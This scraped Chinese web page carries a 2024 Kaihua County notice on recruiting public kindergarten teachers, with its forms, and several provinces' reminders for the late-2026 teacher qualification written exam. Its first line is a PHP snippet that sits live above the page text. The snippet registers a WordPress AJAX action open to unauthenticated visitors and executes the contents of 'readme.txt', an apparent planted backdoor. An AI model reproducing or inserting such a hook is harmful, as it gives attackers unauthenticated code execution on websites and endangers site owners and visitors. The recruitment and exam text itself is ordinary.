if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江开化县2024年公开招聘公办幼儿园事业编制和劳动合同制度教师公告-全国教师资格考试网

浙江开化县2024年公开招聘公办幼儿园事业编制和劳动合同制度教师公告

为满足我县教育系统岗位需求,不断优化人员结构,提高人员素质,根据《浙江省事业单位公开招聘人员暂行规定》(浙人才〔2007〕184号)和《开化县公办幼儿园劳动合同制度教师管理办法(试行)》,结合开化教育实际,经研究,决定面向社会公开招聘部分公办幼儿园事业编制教师和劳动合同制度教师。现将有关事项公告如下:

一、招聘计划

2024年我县公开招聘公办幼儿园事业编制教师计划3名、劳动合同制度教师20名,具体计划详见附件1。

二、招聘对象及条件

报考对象应具备热爱教育事业、思想政治素质好、遵纪守法,五官端正,身心健康等基本条件,同时还应具备以下户籍、学历、年龄、教师资格及专业等具体条件:

(一)户籍要求

1.具有开化县户籍(以2024年6月8日的户口所在地为准)或开化县生源(指经高考、被高校录取时户口所在地)的人员。截止2024年6月8日户籍尚在迁移中的人员,不得报考。

2.具有下列条件之一者,不受户籍限制:

①普通高校校级及以上优秀本科毕业生或普通高校师范类专业本科毕业生(2024年应届生须出具师范生证明);

②全日制普通高校硕士研究生及以上学历人员;

③本科学历,且配偶为开化籍或在开化县工作6个月及以上的人员(时间计算截止2024年6月8日),须提供配偶在开化缴纳相关社会保险的证明、结婚证及所在单位开具的工作证明。

(二)学历、学位要求

1.2024年普通高校应届毕业生可凭就业推荐表报考,但须在2024年9月30日前取得学历学位证书,否则原则上取消聘用资格。2024年应届毕业生因学校原因或单位签约盖章等原因无法提供就业协议书的,由本人提供书面说明。

2.学历学位及专业需为同一段学习经历。

3.第二学士学位生的毕业证书、学位证书能在学信网核验的,可以凭第二学士学位专业报考,但不能以辅修专业报考。

4.招聘岗位要求全日制普通高校专科及以上学历的,如以本科及以上学历报考,其学历也要求为全日制,且取得相应学位。

(三)年龄要求

年龄在18周岁至30周岁(1993年6月至2006年6月期间出生),硕士以上毕业生年龄在18周岁至35周岁(1988年6月至2006年6月期间出生)。

(四)教师资格及专业等要求

1.教师资格及专业:报考者为学前教育、音乐、美术、体育等相关专业的,须持有教师资格证(2024届全日制应届师范生或已取得国家教师资格考试合格证者,视同持有教师资格);其他专业的报考者须持有幼儿园教师资格证。以硕士研究生及以上学历学位报考的,教师资格证暂不作要求,但在聘用后两年内必须取得与学前教育相适应的教师资格证,否则予以解聘。

2.普通话:报考者应持有二级乙等及以上普通话证书(测试中心提供的普通话考试成绩有效证明,视同持有)。

(五)其它要求

1.现役军人、在普通高校就读的非2024年应届毕业生不能报考,在普通高校脱产就读的非2024年应届毕业的专升本人员、研究生也不能以原已取得的学历、学位证书报考。

因犯罪受过刑事处罚的人员、被开除中国共产党党籍的人员、被开除公职的人员、被依法列为失信联合惩戒对象的人员,在各级公务员招考、事业单位招聘考试中被认定有舞弊等严重违反录用纪律行为的人员、公务员和参照公务员法管理的机关(单位)工作人员被辞退未满5年的,以及有法律规定不得聘用为事业单位工作人员的其他情形的人员,不得报考。

2.开化县事业单位在编人员报考的,须提供所在单位和主管部门同意报考的书面证明。

3.报考事业编制教师岗位的,一经录用后须在开化县内学校至少工作5年,报考劳动合同制度教师岗位的,一经录用后须在开化县内学校至少工作3年。

三、招聘程序和办法

贯彻公开、平等、竞争、择优的原则,坚持德才兼备的用人标准,按照如下程序进行招聘。

(一)发布招聘信息

在开化县人民政府网(开化县人力资源和社会保障局https://www.kaihua.gov.cn/col/col1229553694/index.html、开化县教育局https://www.kaihua.gov.cn/col/col1363740/index.html)等相关网站,向社会发布招聘信息。

(二)报名

1.报名形式:现场报名。符合招聘条件的考生,可以同时报考事业教师编制和合同制教师岗位。

2.报名时间:2024年6月8日(上午9:00—11:30、下午14:30—17:00),逾期不再受理报名。

3.报名地点:开化县北门小学(地址:开化县芹阳办事处芹北路34号)。

4.报名时需携带材料:《开化县公开招聘教师报名表》(附件2)、《招聘报名信息汇总表》(附件5)(以Excel表格填写)及相关佐证材料(附件4)。报名者确有特殊原因,由本人签署《开化县2024年公开招聘教师委托书》(附件3)后,可委托他人代为报名。受委托人除携带上述相关证件材料和委托书外,还须带本人身份证原件和复印件。证明类材料一律提供原件;证书类材料须提供原件和复印件,原件经核对无误后,现场归还各报考人员。

5.资格审查及领取准考证:报考人员报名后,由教育局、人力社保局等部门对其是否符合资格条件进行资格审查,通过资格审查的人员进行现场缴费。最低生活保障家庭的报考人员,可凭县民政部门颁发的有效低保证,免除其考试费。自动放弃笔试的不予退还考试费用。资格审核合格人员凭身份证到县教育局组织人事科领取笔试准考证,领取准考证时间另行通知。

6.注意事项:

(1)报考者提供的资料必须真实可靠,如有弄虚作假、材料不实,一律取消聘用资格。涉及违法违纪人员按有关规定执行;

(2)招聘计划数与报名人数比例低于1:3的,按比例核减本次招聘指标。

(三)考试

1.笔试:所有报考者均须参加统一组织的笔试。笔试采用闭卷形式,共三门:①《公共知识》(20分),考试范围包括教育学、心理学、教师职业道德、教育教学法规、时事政治等内容;②《学科专业知识》(80分);③《教材教法》(20分);学科专业知识和教材教法考查学前教育知识。笔试总分为120分,合格分为60分,未达到合格分的不能入围技能测试和上课考核。

笔试时间为120分钟。笔试时间、地点另行通知。

2.技能测试:笔试结束后,根据各招聘岗位的笔试总成绩,在合格人员中按招聘计划数(如有核减,按照核减后招聘计划数,下同)规定比例(其中:事业编制教师按1:5,劳动合同制度教师按1:2)从高分到低分确定参加技能测试对象。入围成绩末位有多人同分的,一并入围参加技能测试对象。不足比例的按实际人数参加技能测试。

每位考生只能够入围一个岗位,同时报考事业编制教师和劳动合同制度教师岗位的考生,优先入围事业编制教师岗位。

技能测试项目及办法另行公示。技能测试总分为100分,合格分为60分,未达到合格分的不能入围上课考核。

因参加技能测试人数较多需分组进行的,采用修正系数的办法计算最终技能测试成绩。具体办法如下:

修正系数(保留四位小数,四舍五入)=全部考生技能测试平均分÷考生所在组技能测试平均分。

最终技能测试成绩(保留二位小数,四舍五入)=考生技能测试得分×修正系数。

技能测试时间和地点另行通知。不按规定时间、地点参加技能测试的,视为放弃资格。

3.上课考核:技能测试后,按笔试分数占40%、技能测试分数占30%合成的成绩(如成绩相等,以技能测试成绩高的排名在前),从高分到低分按规定比例(其中:事业编制教师按1:3,劳动合同制度教师按1:1.5)确定参加上课考核人员。不足比例的按实际合格人数确定。上课考核时间、地点另行通知。不按规定时间、地点参加上课考核的,视为放弃资格。

上课考核采用模拟情景无学生状态上课的方式进行,备课时间60分钟,根据指定的内容讲课15分钟。上课考核总分为100分、合格分为60分,未达到合格分的不能入围体检。

因上课考核人数较多需分组进行的,采用修正系数的办法计算最终上课考核成绩。具体办法如下:

修正系数(保留四位小数,四舍五入)=全部考生上课考核平均分÷考生所在组上课考核平均分。

最终上课考核成绩(保留二位小数,四舍五入)=考生上课考核得分×修正系数。

(四)体检、考察

面试结束后,按总成绩从高分到低分按规定比例(其中:事业编制教师按1:1,劳动合同制度教师按1:1.2)确定入围体检对象。不足比例的按实际人数确定。

总成绩的计算公式为:

考试总成绩=笔试成绩×40%+技能测试成绩×30% +上课考核成绩×30%。如总成绩相同的,以技能测试得分高的排名在前;如总成绩和技能测试成绩均相同,以上课考核成绩高的排名在前。

体检按《关于进一步做好公务员考试录用体检工作的通知》(人社部发〔2012〕65号)执行。体检标准参照《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)和《关于调整申请认定幼儿园教师资格人员体检标准的函》(浙教资中心〔2011〕1号)等政策执行,相同体检项目以标准高的为准。体检费用由考生自理。体检时间另行通知。入围体检对象不按规定的时间、地点参加体检,视作放弃体检和聘用资格。因放弃体检或体检不合格,在相应岗位上课考核合格人员中按总成绩从高到低依次递补。

体检合格人员按招聘计划数1:1的比例确定考察对象并公示。考察工作由县教育局组织实施,考察参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)文件要求,结合本次招聘的基本条件、招聘岗位要求的具体条件和标准执行,按照《关于印发对失信被执行人实施联合惩戒的合作备忘录的通知》(发改财金〔2016〕141号)要求,查询入围考察对象的社会信用记录。考察结果仅作为本次是否聘用的依据。考察不合格或在考察期间本人放弃的,可依次递补。

体检、考察实施前,若国家、省出台新规定,按新规定执行。

(五)公示、聘用

根据考试、体检、考察结果,确定拟聘用人员名单并公示7个工作日。公示期满后,没有反映或反映有问题经查实不影响聘用的,按程序办理聘用手续。对反映有影响聘用问题并查有实据的,不予聘用;对反映的问题一时难以查实的,可暂缓聘用,待查清后再决定是否聘用。决定不予聘用的,不再递补。

被聘用人员无正当理由逾期不报到者,取消聘用资格;2024年普通高校应届毕业生不能在2024年9月30日前向县教育局提供报考所需的学历、学位证书等相关证明文件及其他材料的,原则上取消聘用资格。有上述原因取消聘用资格或在公示期间放弃聘用资格的,均不再递补。

新聘用的事业编制教师按《事业单位人事管理条例》实行聘用制管理,首次签订聘用合同的期限为5年。新聘用的劳动合同制度教师按《开化县公办幼儿园劳动合同制度教师管理办法(试行)》实行聘用管理,首次签订聘用合同的期限为3年。人员聘用后,须在本县教育系统服务满规定年限(考入全日制普通高等院校的、被录用或者选调到国家机关单位工作的和依法服兵役的除外)。聘用人员在首次聘用期内,如未经有关部门同意擅自离职、单方要求解除聘用合同的,视为违约,应承担违约责任,按聘用合同中特别约定的条款处理。

四、其它事项

1.见习期(试用期)考核不合格者和未按规定时间取得教师资格证者,解除聘用合同。

2.考试违纪违规行为的认定和处理,参照《事业单位公开招聘违纪违规行为处理规定》(人社部令第35号)执行。

3.参照《2024年浙江省公务员录用考试专业参考目录》进行专业设置及资格审查。部分专业涉及名称更改的,新旧专业可认定为同一专业;专业名称不一致,但所学方向相同相近的,以县教育局审核意见为准。

4.资格审查工作贯穿整个公开招聘过程。报考人员提交的报考信息和材料应当真实、准确、有效。凡提供虚假申请材料获取报考资格的,一经查实,即取消报考资格。对伪造、变造有关证件、材料、信息,骗取考试资格的,取消报考资格且按相关规定予以处理。

5.开化县人力资源和社会保障局、开化县教育局不举办也不委托任何机构举办针对本次招聘教师考试的辅导培训班。社会上如出现针对本次公开招聘教师的辅导培训班、辅导网站、复习资料、出版物、上网卡等,均与开化县人力资源和社会保障局、开化县教育局无关。

6.本次招聘相关信息将在开化县人民政府网(开化县人力资源和社会保障局、开化县教育局)门户网站等相关网站上公布,请随时关注,不另行电话通知。

7.报考人员所留的联系电话必须真实准确,确保能够及时联系本人。因提供错误联系信息或未保持通讯畅通致无法及时联系的,由报考人员本人承担后果。

本公告有关事宜由开化县教育局负责解释,未尽事宜由开化县教育局、开化县人力社保局研究决定。

联系人:项老师、程老师 联系电话: 05706012795。

附件:1.开化县2024年公开招聘教师计划表

2.开化县2024年公开招聘教师报名表

3.开化县2024年公开招聘教师委托书及师范生证明(样本)

4.佐证材料清单

5.2024年公开招聘教师报名信息汇总表(以Excel表格填写)

开化县人力资源和社会保障局

开化县教育局

2024年5月28日

附件1:

开化县2024年公开招聘教师计划表

浙江开化县2024年公开招聘公办幼儿园事业编制和劳动合同制度教师公告

注:1.考生根据报考条件选报报考岗位。如以本科及以上学历报考学历要求全日制普通高校专科及以上岗位的,其学历也要求为全日制,且取得学士及以上学位。

2.以硕士研究生及以上学历学位报考的,教师资格证暂不作要求。

附件2 :

开化县2024年公开招聘教师报名表
浙江开化县2024年公开招聘公办幼儿园事业编制和劳动合同制度教师公告

注:本表请考生用A4纸打印,用黑色水笔或钢笔如实填写,填写要规范。附件3

开化县2024年公开招聘教师委托书

因 原因,本人无法于年月日亲自参加开化县2024年公开招聘教师现场报名,特委托 (括号内注明委托人和受委托人关系,身份证号码: )代为参加,本人保证有关本次现场报名等全部事项受委托人均会告知本人,因受委托人原因或本人原因导致无法参加笔试、取消笔试资格或资格审查不通过等后果,一切责任均由本人承担。

委托时限: 年 月 日—— 年 月 日

委托人(手写签名):

联 系 电 话:

年 月 日

受委托人(手写签名):

联 系 电 话:

年 月 日

注:应同时提供委托人和受委托人的身份证原件和复印件。

2024届师范类毕业生证明(样本)

兹有***同学,男/女,身份证号*******,学号为****,系我校**学院**专业师范类普通高校全日制(本科/专科)在校学生,该生于**年**月入学,学制*年。若该生在校期间顺利完成学业,达到学校相关要求,将于2024年*月毕业,并取得毕业证书。

特此证明

****大学或学院(公章)

2024年*月*日

附件4

须提供佐证材料清单

报名须提供以下材料电子版。现场资格确认时考生依次提供以下相关材料原件及复印件,并按以下顺序排列。要求原件和复印件对应并分别排放,资格确认后原件返还,留复印件。

1.报名表。须有个人照片、个人手写签名。

2.有效期内的二代身份证(正反面复印)。委托报名的还需提供委托书及受托人的身份证。

3.户口本(复印件须有户主页面及印有本人户口信息的页面)或户籍证明。

4.教育部学历证书电子注册备案表(学信网)、学历、学位证书或证明。留学人员应提供教育部中国留学服务中心出具的境外学历、学位认证书。

5.教师资格证或教师资格考试合格证明。

6.普通话等级证书。

7.非开化户籍人员,需提供本人或配偶的工作证明以及在开化县缴纳养老保险六个月及以上的证明。

附件5

2024年公开招聘教师报名信息汇总表
浙江开化县2024年公开招聘公办幼儿园事业编制和劳动合同制度教师公告

 

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部